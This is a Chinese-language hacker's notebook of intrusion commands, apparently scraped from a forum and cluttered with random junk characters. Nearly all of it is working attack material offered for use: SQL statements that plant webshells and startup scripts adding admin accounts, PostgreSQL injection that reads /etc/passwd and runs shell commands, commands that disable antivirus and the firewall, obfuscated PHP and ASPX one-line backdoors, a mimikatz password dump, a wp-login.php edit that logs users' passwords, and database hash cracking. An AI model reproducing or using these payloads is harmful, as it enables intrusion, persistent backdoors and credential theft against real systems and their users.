0 ~, o3 V& ?4 s. e G7 x: d0 D! H! f# rCreate USER 'itpro'@'%' IDENTIFIED BY '123'; ) e. A% Q/ j+ ^! z / S$ H5 {7 }- P. ]GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION6 I1 X5 N: W" z
0 e% |7 a' ]' @6 d7 V
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 9 @! N' r/ ?8 m/ O/ G4 ] K/ N# W, ^. x ?, `
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;0 g$ T0 o$ e- c
# s! D: \( v% k5 H& G3 H3 k0 X搞完事记得删除脚印哟。6 s4 u" c, I; G+ O' s
0 r( e" ?- w U4 w; U( v3 hDrop USER 'itpro'@'%';) p6 ?9 V* F1 D$ w4 h
/ U9 K0 b* a7 P4 X/ ^ ) b1 H( _: c" A 4 s8 D0 d4 l- u8 N% z& O* y) ^" f- f% h/ y L( I
程序代码3 U1 D) G# Q! p( B. B3 B
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash * O6 n5 `- m7 A! |+ Q- V5 p) k9 \- A# [) {$ Z
设置为1,关闭LM Hash, V' O7 o; n. Q" U
& I4 c. N5 c+ ]
数据库安全:入侵Oracle数据库常用操作命令% U, G+ P1 y" V2 W9 b
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。 8 \# O1 F' s- I1 D$ E) u1 Y1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。 9 G9 [5 a4 Z) Y; p/ Z3 E) F# N2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;, G$ O- S) Y, \
3、SQL>connect / as sysdba ;(as sysoper)或& W' P$ [; }+ Z3 B6 B
connect internal/oracle AS SYSDBA ;(scott/tiger) ; C4 e1 l* V1 Tconn sys/change_on_install as sysdba; ' @9 t1 b9 k# C6 C4、SQL>startup; 启动数据库实例9 b9 c3 G% k2 e- W
5、查看当前的所有数据库: select * from v$database;: \8 O; N+ C# m: Y
select name from v$database; $ Q* t3 @2 X: X/ @6、desc v$databases; 查看数据库结构字段 / X$ ?6 K6 J' q" a( t7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限: N' v2 i. C* F; M. Y" u7 R |' Z' v
SQL>select * from V_$PWFILE_USERS;# L% C, B4 l1 f
Show user;查看当前数据库连接用户 , U' \" o) j. ^# r) c9 ]8、进入test数据库:database test;' ~% J4 C9 j: R! ^! q
9、查看所有的数据库实例:select * from v$instance; ' k9 M7 n7 @" Q/ M! a% n/ y+ }如:ora9i- \& v2 F+ |' Z# c% L
10、查看当前库的所有数据表:9 F; v: @4 H# G- U! |
SQL> select TABLE_NAME from all_tables; # i) }( V( w( {' e$ \+ l# A4 h4 yselect * from all_tables; ! U6 m5 A! Y1 l R# TSQL> select table_name from all_tables where table_name like '%u%'; $ y# ^9 O6 n/ G- H( s* nTABLE_NAME# T3 X6 e3 Y/ R& ~1 h
------------------------------ / w8 t/ O% w6 c( h1 W! K_default_auditing_options_$ t# ~/ L/ d: v$ f7 P' f; ?8 t+ [+ x
11、查看表结构:desc all_tables;4 u! K# E" e8 x* b+ c( |
12、显示CQI.T_BBS_XUSER的所有字段结构: & V( h* |8 e4 M" Idesc CQI.T_BBS_XUSER; & |& s8 V2 E' \! f1 f" ~: O13、获得CQI.T_BBS_XUSER表中的记录: 6 r7 b2 V: U# D& Kselect * from CQI.T_BBS_XUSER;" j6 }. J& _+ F* f
14、增加数据库用户:(test11/test) ! f! i0 P3 P) W8 u8 u+ L( Y. p/ icreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp; ' T u- z' L2 L# `$ a1 e6 o15、用户授权: ~$ h- x' w! p* t; F) \6 r+ f6 w
grant connect,resource,dba to test11;$ D4 i; D; t3 f( U
grant sysdba to test11; % i3 h- q2 {8 ?) rcommit; 4 T( b% u3 {0 O( i) @16、更改数据库用户的密码:(将sys与system的密码改为test.)/ j# S5 f: |9 S* l/ X
alter user sys indentified by test;+ V( h; V! R* h
alter user system indentified by test; F _( n! X: k7 c9 F) E/ i1 P6 P
applicationContext-util.xml0 F5 n% b' ~2 g* a6 g
applicationContext.xml / w8 T, |, m4 ]/ c- pstruts-config.xml) f% c9 Y5 o) x6 M
web.xml ( t4 a7 F1 ~6 q% Zserver.xml; F- i, z, |' V
tomcat-users.xml # r% g( C* D! @7 M9 _6 k0 Thibernate.cfg.xml4 F& j6 U, e+ g; c
database_pool_config.xml % m$ ], |& b: y9 | ; s5 E; s) b1 o8 h, H6 Q1 f5 n* c; N1 O# ?5 z, _) _- m- p
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置+ ]) _) t; l; S& m F
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini t; Q% B+ N N0 H& @" S9 Q
\WEB-INF\struts-config.xml 文件目录结构 " \$ M ]) B* I6 ^, u/ I 9 R, ` ~. [& Y6 zspring.properties 里边包含hibernate.cfg.xml的名称1 H; v2 h! B; }
: n( c' v& K# o# r7 c
1 H7 p. @$ h8 |% g" O
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml9 B" P/ n8 l+ }% l1 ^
! s8 |1 X8 T$ {如果都找不到 那就看看class文件吧。。 * C! d2 P9 ^ M0 |5 @0 c1 e- {# |7 h; q# ]; h+ Y% e) P5 p/ ^" H- j) t
测试1: " W# K3 e: {. C# V# Y/ i# FSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t13 I& o- t$ \, g/ d
) i3 N* u2 z- `; O: w测试2: 6 W, o( P8 ~+ j) X& x1 Y- g* s. ^ 1 O% K: y: C' j! _! q+ Pcreate table dirs(paths varchar(100),paths1 varchar(100), id int) 1 p. V( U! }! [: M {* Q2 u5 g% b1 U4 M% a7 S: E% z
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1-- * K& K; W/ f* F" }( x2 M6 ]8 X: e9 Q
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t12 p5 \0 d0 |9 U
; }# j$ h# S9 l7 I4 s( p: c8 v
查看虚拟机中的共享文件: 4 \5 I# p7 K% _5 g6 |, K( e在虚拟机中的cmd中执行 " ~/ ~; S0 @& m\\.host\Shared Folders ~$ T. I1 A+ P; B- l1 i% [
+ C1 }/ r, n7 Ucmdshell下找终端的技巧 v! I* ?( Y4 Q8 D找终端: : E8 `2 J$ {+ t6 G* a2 O+ Q第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! 2 _* Q7 U$ T! h9 M( V; x 而终端所对应的服务名为:TermService # C' A/ w% }1 ~4 K* M第二步:用netstat -ano命令,列出所有端口对应的PID值! ( X ]$ K+ N! h9 Q2 G: k) U
找到PID值所对应的端口 9 Z5 w- c, s! K2 d+ d 8 G: a& J4 e+ m5 u Z查询sql server 2005中的密码hash % N4 d1 m/ y$ K+ o% c: q7 gSELECT password_hash FROM sys.sql_logins where name='sa' . l1 I, O% p; ~8 i: Y, X, g5 XSELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a; U! e5 x4 u# u: L
access中导出shell3 ?+ c" w. \' r8 g3 {
7 W! u8 K* t) W( O4 D$ Q中文版本操作系统中针对mysql添加用户完整代码:/ M+ @: M0 \8 h# a8 y; F" R
% O! Z* [, {& o k, L, f
use test; ; i) R' p# d% P, Screate table a (cmd text); ( `% t; g+ }9 e. y$ k+ U3 J5 \insert into a values ("set wshshell=createobject (""wscript.shell"") " );3 V. [# m5 j- d
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " ); + k! b' ^/ O3 T% zinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); : B( V/ B1 v; C j+ J3 Y' j2 |select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"; . G: I* _% j# ]drop table a; / V! p" [( i* g2 Q# s1 q 7 U7 E% _4 g# v& l' X英文版本:3 N, s* b6 ]8 u+ y( a' V K b+ X
4 B" X6 ~. I0 w) b, fuse test; D1 L2 o2 n$ I/ L
create table a (cmd text); 1 @9 a! O" { F, n" m+ Z1 d4 _insert into a values ("set wshshell=createobject (""wscript.shell"") " ); . ~% p( |% ]. T% O G. O5 t9 finsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );' {( X: C+ ?* r" q$ L9 N+ n
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); & i" M. E1 F* y, b, ] H, S9 Y9 M/ qselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";4 o, ~. w$ b( U* p( u
drop table a; + A Y! x6 o8 S; W6 q9 G- h- \9 ?: j ( X- s) a4 q% c" _create table a (cmd BLOB);! K0 g5 m' C9 r6 R
insert into a values (CONVERT(木马的16进制代码,CHAR));2 s1 o; j( z( ]7 n: J. {1 P* s
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe', e( Z6 X! O* ~$ r) [, J" W. \
drop table a; 2 ~( H8 p' P3 n8 J* ]: E$ B. g$ S |4 Y$ e+ n1 V) M
记录一下怎么处理变态诺顿! r% u) O+ V& P' M: n0 |# t; N+ p
查看诺顿服务的路径 % d3 g* {( R& ?9 N8 Msc qc ccSetMgr5 h O% b$ A$ E
然后设置权限拒绝访问。做绝一点。。 + o; w7 h e# `0 J3 Q! d, Hcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system; G& U) {9 O" |, W
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"( h5 U0 L+ K- O' m
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators ' f) ~" b9 O5 p8 Jcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone 4 p( w. M6 W; T; L2 t2 q% T0 V6 f `5 a3 z" v
然后再重启服务器 0 m1 O/ C7 W1 }iisreset /reboot ' ]. \# Q ?3 d; M6 u这样就搞定了。。不过完事后。记得恢复权限。。。。 ' a) Q- D5 w" |8 {: z! G- I {cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F) y" N" \# n( x0 q! h) a
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F9 ^) f" M, p0 i8 A! m9 }# N6 F
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F / K* J/ v1 h! `5 o, b! n% f4 Pcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F! i: H: R6 ?& @3 \3 h0 [0 ^* W
SELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin & F c X$ n6 @4 u3 @; k. B t# p( H5 {) }: A8 I& [) OEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''') $ r6 _# G S" @/ L+ P0 V$ E% I; Z
postgresql注射的一些东西* {$ p5 a" }; D$ ~
如何获得webshell # f, E$ U( O7 F3 p) h+ e% @http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); 8 b2 e2 N. Z1 _, T1 S http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); 4 d7 r- ~. z4 b' `, O) H1 F http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;' L6 F# l9 ?+ F0 ^# H
如何读文件 ; q" v; }& g& F' _# Qhttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT); 5 o- v. x7 K# x" b4 A/ Yhttp://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;; ?% b5 e+ M+ }& R6 m http://127.0.0.1/postgresql.php?id=1;select * from myfile; t" c3 U# y# X4 ^
% f7 N; y F% w. A4 b& m
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。6 H& \% O- ]: S: F
当然,这些的postgresql的数据库版本必须大于8.X" \2 j6 J5 d* u( u, c
创建一个system的函数:# {0 @3 u4 j" P4 r
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT % t$ F$ S1 ^) J+ p4 p 8 h1 N# G, t/ N1 s创建一个输出表: + T$ B; ?; z- M/ k7 xCREATE TABLE stdout(id serial, system_out text) " u& Z) N! e- j' ~& T- {# {! ^" k
执行shell,输出到输出表内:3 u; u6 o' R' c' Y
SELECT system('uname -a > /tmp/test') , `/ a5 m# D; w. _8 `- T9 }* F) A% ^4 c1 I2 u# C
copy 输出的内容到表里面;% o3 `8 c* ?6 y4 h, l2 X+ I# ^
COPY stdout(system_out) FROM '/tmp/test' " X' L3 u4 ?% h# S; h3 {) V" X: u# o0 R+ Y/ g# f; Y
从输出表内读取执行后的回显,判断是否执行成功 # a4 H l+ p1 J8 `2 v + K3 F3 g/ @: W5 }* ^* f+ G3 O0 w3 ESELECT system_out FROM stdout7 C" E" c( m! h1 z/ o
下面是测试例子 6 O- z8 `! D# [+ [, Q/ |( ~" j$ a$ v; F4 }+ }* m4 O
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 1 y9 Z) ]! u! K o
; {8 S; Q% S# ~# }5 @
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'' p3 d- H$ B6 V% d
STRICT --1 V3 v' M% x+ K7 |
0 t1 F! N7 F& a L& O' _7 J
/store.php?id=1; SELECT system('uname -a > /tmp/test') -- 8 r/ y e: _+ S% R Q; G . ^6 b7 O5 E% t' W6 \# ?/ ]/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' -- & G# b& ]) \ P( W. t. Y) N* t; E8 C$ S- d0 P% @6 E
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--) B( ?% }3 f Z; u8 Q
net stop sharedaccess stop the default firewall 8 s% k6 u7 ~, _! S' nnetsh firewall show show/config default firewall & Z9 y, ]$ k# ?netsh firewall set notifications disable disable the notify when the program is disabled by the default firewall& i4 y. u( r" ?, m* j" a
netsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall0 h% L0 ?8 n7 I: B6 o! {! `
修改3389端口方法(修改后不易被扫出): a) a5 c3 Q, L* T z7 R
修改服务器端的端口设置,注册表有2个地方需要修改 6 u- M% y4 ]" _8 m8 g" u& a7 I O% F* G& g1 U; y' s) H[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp] 4 g+ ]0 \# P3 P1 ^PortNumber值,默认是3389,修改成所希望的端口,比如6000) N6 I$ h- C4 C; Q0 |# e8 i9 b
4 \; c/ R- z- ]; T
第二个地方: % Y* I1 u# D. v3 r6 @6 ~# f2 A[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] ; K# Q! B% H! w- `( ?; GPortNumber值,默认是3389,修改成所希望的端口,比如60000 t- @4 ~: T$ t0 p/ L1 d
0 D+ i5 T q! A! C2 D现在这样就可以了。重启系统就可以了0 D# c0 v& p4 o* J( s
8 c3 k4 s! K" s+ s7 p查看3389远程登录的脚本 / H0 A: [3 w5 M) _' ~保存为一个bat文件3 L! B6 g+ C ?
date /t >>D:\sec\TSlog\ts.log" m4 b0 ]2 U. S' ` \
time /t >>D:\sec\TSlog\ts.log % r$ z- V8 z! R @5 Mnetstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log2 x& [ A& A8 \7 w- ]
start Explorer : W$ Q# x/ y/ C5 A) S 7 i' a6 z/ ]" _& g' L/ d3 _4 u; ymstsc的参数: ) ~7 J; ^4 }8 B7 T0 ?. O0 V% a, E- ?0 | n3 S" m
远程桌面连接 7 O+ s) \% |) O1 v" Z; Z3 z$ d% T4 g2 n; t7 g2 d5 N6 z
MSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]] d3 Y1 q: {: @( Y# X [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /? _ n5 a; Y# e, H; f - g8 n% H1 Q$ @0 p<Connection File> -- 指定连接的 .rdp 文件的名称。 " r: Q- A/ j5 Q0 N2 B9 E6 R7 _; e' @. ~/ x( M
/v:<server[:port]> -- 指定要连接到的终端服务器。 * D4 O% j% s' i9 A6 G1 T2 u' l1 k" ]$ }6 A/ O9 I
/console -- 连接到服务器的控制台会话。) R h- q. ~% r. M
% I$ Y2 q3 |0 {! R6 I
/f -- 以全屏模式启动客户端。# _0 c8 i) c; U; N9 g. X
7 C7 X" L% H9 U. T
/w:<width> -- 指定远程桌面屏幕的宽度。 : k2 {. Q! B+ G9 m/ ~ H7 ? ' r- T3 x, h/ Y/h:<height> -- 指定远程桌面屏幕的高度。3 i% J( a; c$ a" Q/ S
& c; v/ w* e" x1 V! U) c: t# o% [2 I/edit -- 打开指定的 .rdp 文件来编辑。 Z# Z. N% a- P9 `# X
9 h0 ^+ V! \" S. ]% I- h1 G3 g) V) F
/migrate -- 将客户端连接管理器创建的旧版- I. W6 D3 t7 U( w2 {2 V5 c
连接文件迁移到新的 .rdp 连接文件。4 R4 g' R Z2 w4 D$ s' T) g
; L8 d' K9 e6 r( o7 S; \6 @- s: d
( q, U; T+ x" x; K+ G- e# I tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的) 7 X8 C: @7 g1 K l: f9 c! b- K" }6 L4 p
SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找) - v. Z4 a$ q0 W8 mset names gb2312 + E/ o; G6 m# }# Y/ ^导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。# |3 M. b9 g( _
8 ^8 K. J. M/ K& F) p7 B5 |mysql 密码修改7 C$ c& ?6 Q3 U3 g! J/ M! b
UPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ” & r" Z- t3 s0 K: T: [
update user set password=PASSWORD('antian365.com') where user='root'; # A( a5 G$ R1 N) q" ~- wflush privileges;: d' }, D: ?$ k7 n
高级的PHP一句话木马后门$ e3 Q5 F' p# Y7 G& r
7 @7 ]4 |, V F5 ~) L
入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀, r) Z* ]' T$ }0 i
: }- W+ F' z4 p( N( t5 R& z
1、 ( @( T* s( x. r4 L6 m% g. q) K# ? 6 U' m% z; [; n% W2 R$ C0 o$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; 8 ^5 }& H; f0 l4 m, G( r& ]+ L+ \( c! B7 m
$hh("/[discuz]/e",$_POST['h'],"Access");6 R( P+ M) t: ^
K& |! U4 w& l4 A) d/ z
//菜刀一句话 . s" S" Q$ F9 K* u $ d* k& c" T2 J0 H/ ^2、 + F+ V: u5 ~+ {! y" M, L3 V7 q m, J8 |/ H$ x7 O) G& {
$filename=$_GET['xbid']; 7 T' S8 p$ Y4 D# y0 Y3 E. O8 u. A% {$ R% T- [
include ($filename); 8 ~+ `( G5 x1 d! Y7 b. Q- W) M \; d- {- R! F( I
//危险的include函数,直接编译任何文件为php格式运行( j& e& p" D6 F& n: R
3 @- ]+ W* M5 W3 B- y1 y& I
3、, G9 X% i! w0 L! A
- a* X$ ^% H8 O# [8 V# l! [; |5 @
$reg="c"."o"."p"."y"; ! r2 O3 b4 o& ?& [/ B , F/ |+ N. _$ B1 \6 N5 E$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);) S& k" _+ D- m
/ T8 q8 F0 ?% I. `
//重命名任何文件; |; j9 O( R b- h
2 ^& u4 o: d; d p2 r
4、! f, G# i& u- t- G$ f; t& J: k+ r! `
7 f2 T# o( o/ ^9 {% V# _/ C# C
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; & z: j8 ^% ~1 Y4 m% G u+ B4 G$ C) s7 F C2 K# Q7 E7 K8 i$gzid("/[discuz]/e",$_POST['h'],"Access");/ @) D, N) J* k5 [" N
& n. }4 L# ^% m* y1 X
//菜刀一句话 * q5 H3 s1 W4 q( g* V; [' G0 p8 T; U) [% g9 m+ M3 l$ k- g7 j
5、include ($uid);5 \7 x- x- Q% T8 ~1 s. Z8 f2 Q% F
% P7 Q0 P: w$ ~: L' Z" W. ]8 I ~
//危险的include函数,直接编译任何文件为php格式运行,POST $ o: N c$ s7 K- t
2 C% S* U9 y0 S* _" Z
" e& c- V$ p3 ?0 ?; Z//gif插一句话 , @: z# Y' A+ g8 p# M8 s$ o8 ]) o. ~4 h
6、典型一句话 " {' u% {$ ^& s+ \& t/ e 7 B! h! y% t: G0 Q- O t程序后门代码 ( C% c6 `- f2 {8 y G1 D5 p<?php eval_r($_POST[sb])?> * r: U! `0 a9 V. m3 m) a( M+ r程序代码 ) q+ |% E- o( |( |9 s<?php @eval_r($_POST[sb])?> + F6 [ L" g1 q/ d) N//容错代码 - O" r: o8 Z. r5 v! |5 F程序代码; z, ~& u d7 \$ N& d
<?php assert($_POST[sb]);?>$ [5 t9 U7 ^1 m( T" @
//使用lanker一句话客户端的专家模式执行相关的php语句' b$ [' y# z! e4 |6 x
程序代码 4 p n" P% ~, w$ N' b<?$_POST['sa']($_POST['sb']);?> 7 q9 g% V( P- t# u3 M$ m4 ?7 [9 b程序代码 ( y, h- ~: u0 P5 B) a<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>- Z3 @( R v- a7 j
程序代码! u6 u: M. r4 F2 g2 j# t
<?php + _+ f" _* O, f@preg_replace("/[email]/e",$_POST['h'],"error");& _* u. a, k, j: N4 t; k# t
?> " n7 U, _) e( j8 [( [' U& W3 s//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 * O- e, u; \- z4 v程序代码9 z" m5 n! g" [
<O>h=@eval_r($_POST[c]);</O> % S# M& I* _6 Y8 P/ R: T程序代码. k2 k" e7 c2 R% |# _
<script language="php">@eval_r($_POST[sb])</script>9 o0 F4 U7 a: f- u: u
//绕过<?限制的一句话 k ^6 C3 {3 S8 p 9 N; r$ _1 L3 ]2 C7 E! k5 Thttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip* m' V5 E* h9 I" @& v" D! I1 p) o- p
详细用法:6 N7 d' c" u4 W5 ]3 L
1、到tools目录。psexec \\127.0.0.1 cmd ( r% S0 _/ E. i j, R N" I, C1 ^/ c6 p2、执行mimikatz ; G1 X8 \/ ?: R# O: _! X9 y. w3、执行 privilege::debug , u' K+ R; v3 ?) W2 ?# H4、执行 inject::process lsass.exe sekurlsa.dll$ j4 H3 o5 ?( ^8 j8 T( |
5、执行@getLogonPasswords " q/ w2 j; d+ ~' R R6、widget就是密码) I. k& S% T5 I; X$ p
7、exit退出,不要直接关闭否则系统会崩溃。) m# X& ^3 R5 f J! u
% L$ U1 D* r' C( {# X8 K http://www.monyer.com/demo/monyerjs/ js解码网站比较全面 $ E' x& R, e( j) p6 {. w& _1 y2 C3 K) C. l7 Z
自动查找系统高危补丁+ W* j) ]0 l, }* p. U
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt- Z: F& |7 }# R: F$ }2 q1 V7 \( Y
! `2 V5 ?0 \7 N3 @
突破安全狗的一句话aspx后门 + \% a, n8 w/ \<%@ Page Language="C#" ValidateRequest="false" %># X! p# C( @# d x
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>! y. m/ W, U4 V7 s) d( E0 m
webshell下记录WordPress登陆密码 % I% a' w. ^9 i# L( `/ Qwebshell下记录Wordpress登陆密码方便进一步社工, E" f' _ @, O1 d8 S) }
在文件wp-login.php中539行处添加: , F4 U! L2 K1 w+ `# P4 h// log password 3 f7 A; O6 c$ w! p6 x/ P5 ~4 w$log_user=$_POST['log'];: k8 \/ q) I8 d. A2 W' x- U
$log_pwd=$_POST['pwd'];- h( P1 K: q; ~8 s0 N
$log_ip=$_SERVER["REMOTE_ADDR"];* b: n: A' t d$ W O, W
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;/ k, G+ e8 W+ D/ M1 `- X6 z: G
$txt=$txt.”\r\n”; 6 T5 E1 b1 g7 @( g% D: _if($log_user&&$log_pwd&&$log_ip){ ' u* u. |! B$ J B+ |@fwrite(fopen(‘pwd.txt’,”a+”),$txt);5 U K# q- g/ b# v. D1 o6 V& Q
} 6 E1 O# `" Z7 Y3 l当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。/ S# N" |5 Y. ^6 G0 T
就是搜索case ‘login’' g1 t: Y/ @& a9 ?) q% l
在它下面直接插入即可,记录的密码生成在pwd.txt中, - j: ?. x4 A' x' `; E7 H* N其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录$ j/ B; e$ R- h- e# A/ v
利用II6文件解析漏洞绕过安全狗代码: 0 `% P* q; W+ ^& e o( k;antian365.asp;antian365.jpg0 R: A5 T9 t% F* J
' @1 s: \- l6 t) B; I/ _% ]各种类型数据库抓HASH破解最高权限密码! - q6 m9 b6 o5 [# X& t1.sql server20004 y: } Y" O# p7 X* Y
SELECT password from master.dbo.sysxlogins where name='sa'/ b% O0 l* R, G3 s5 ^" Z
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED2503414 O0 ?! T/ @ Z: _, |! R; f
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A; C; B4 e5 z7 Y: l: K. i
8 K: V- {5 a( Q0 r2 X, B
0×0100- constant header& s: Y7 `! x0 \6 M: ], x I" K
34767D5C- salt0 ]4 K4 G5 {- f0 b' K0 M
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash4 y$ {% Z6 U, p& u$ P% m) a; y8 m
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash$ H; E- V% d' w4 Q* Y0 [
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash; N' R; ]& [( b* R* z# u/ Y
SQL server 2005:-8 p8 Q/ E7 u) l% N+ l6 {* `
SELECT password_hash FROM sys.sql_logins where name='sa'4 m, p. m0 ^( H5 d' _
0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F+ k8 p' d0 N! O
0×0100- constant header : \3 S! l' a1 b* {* f4 c0 L! M993BF231-salt 8 `) }$ A! L- a& \5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash 4 c1 {6 V& ^0 o' t/ B1 Icrack case sensitive hash in cain, try brute force and dictionary based attacks.0 f$ `: E( L6 ]
8 M; j7 @% w0 S/ l- j: wupdate:- following bernardo’s comments:- + ~# B. o, C& Q: g! j0 N4 tuse function fn_varbintohexstr() to cast password in a hex string.8 k8 j6 u2 Z) }2 k# r2 {
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins' a Z' N7 F( J
+ Y: w5 J$ C% t& n8 YMYSQL:- 1 y; ^% C! ~. N1 v5 v& N5 O! r z7 d! `7 c8 I* u" R6 L0 E; H
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2./ V" y- T( \. ^$ y
* V/ a6 l) O) L& r' F5 x6 ]
*mysql < 4.13 B+ \6 _" v# A! K% ?& R
$ E7 p$ N7 W6 s0 C
mysql> SELECT PASSWORD(‘mypass’); ! L7 }/ ^" G& N; k) Q) K+——————–+ ) a4 G2 y2 }8 n8 X- q! ?0 p| PASSWORD(‘mypass’) | 1 g) ~+ o/ f+ P% [9 C+——————–+ / m; A. E8 {) O" ]9 \* I| 6f8c114b58f2ce9e | 0 A4 W+ o ]; C% T+——————–+; a4 J% d `* X& H ~9 p2 W
, Y. V# i2 X: L- {% |" U: Y0 `1 {*mysql >=4.1 ! N, C- `9 B w: W: f# J! W1 w# k. F4 }; R
mysql> SELECT PASSWORD(‘mypass’); 8 W6 t* |% a- E+——————————————-+2 m ]# o# P5 N8 z
| PASSWORD(‘mypass’) |1 D! _: c( z4 |1 t j
+——————————————-+ 6 v# r7 h) l5 H: [| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |5 d- Y% v+ @/ c8 ?1 S
+——————————————-+$ n& T5 L! R$ u @7 g
7 O8 E8 ], A; F, H0 b0 {
Select user, password from mysql.user X' c e) d6 F: G, t' w! D( V7 m
The hashes can be cracked in ‘cain and abel’ $ w' I) q+ M8 Q# a+ [/ q! w9 k$ [% N5 t( ` ?" G1 S
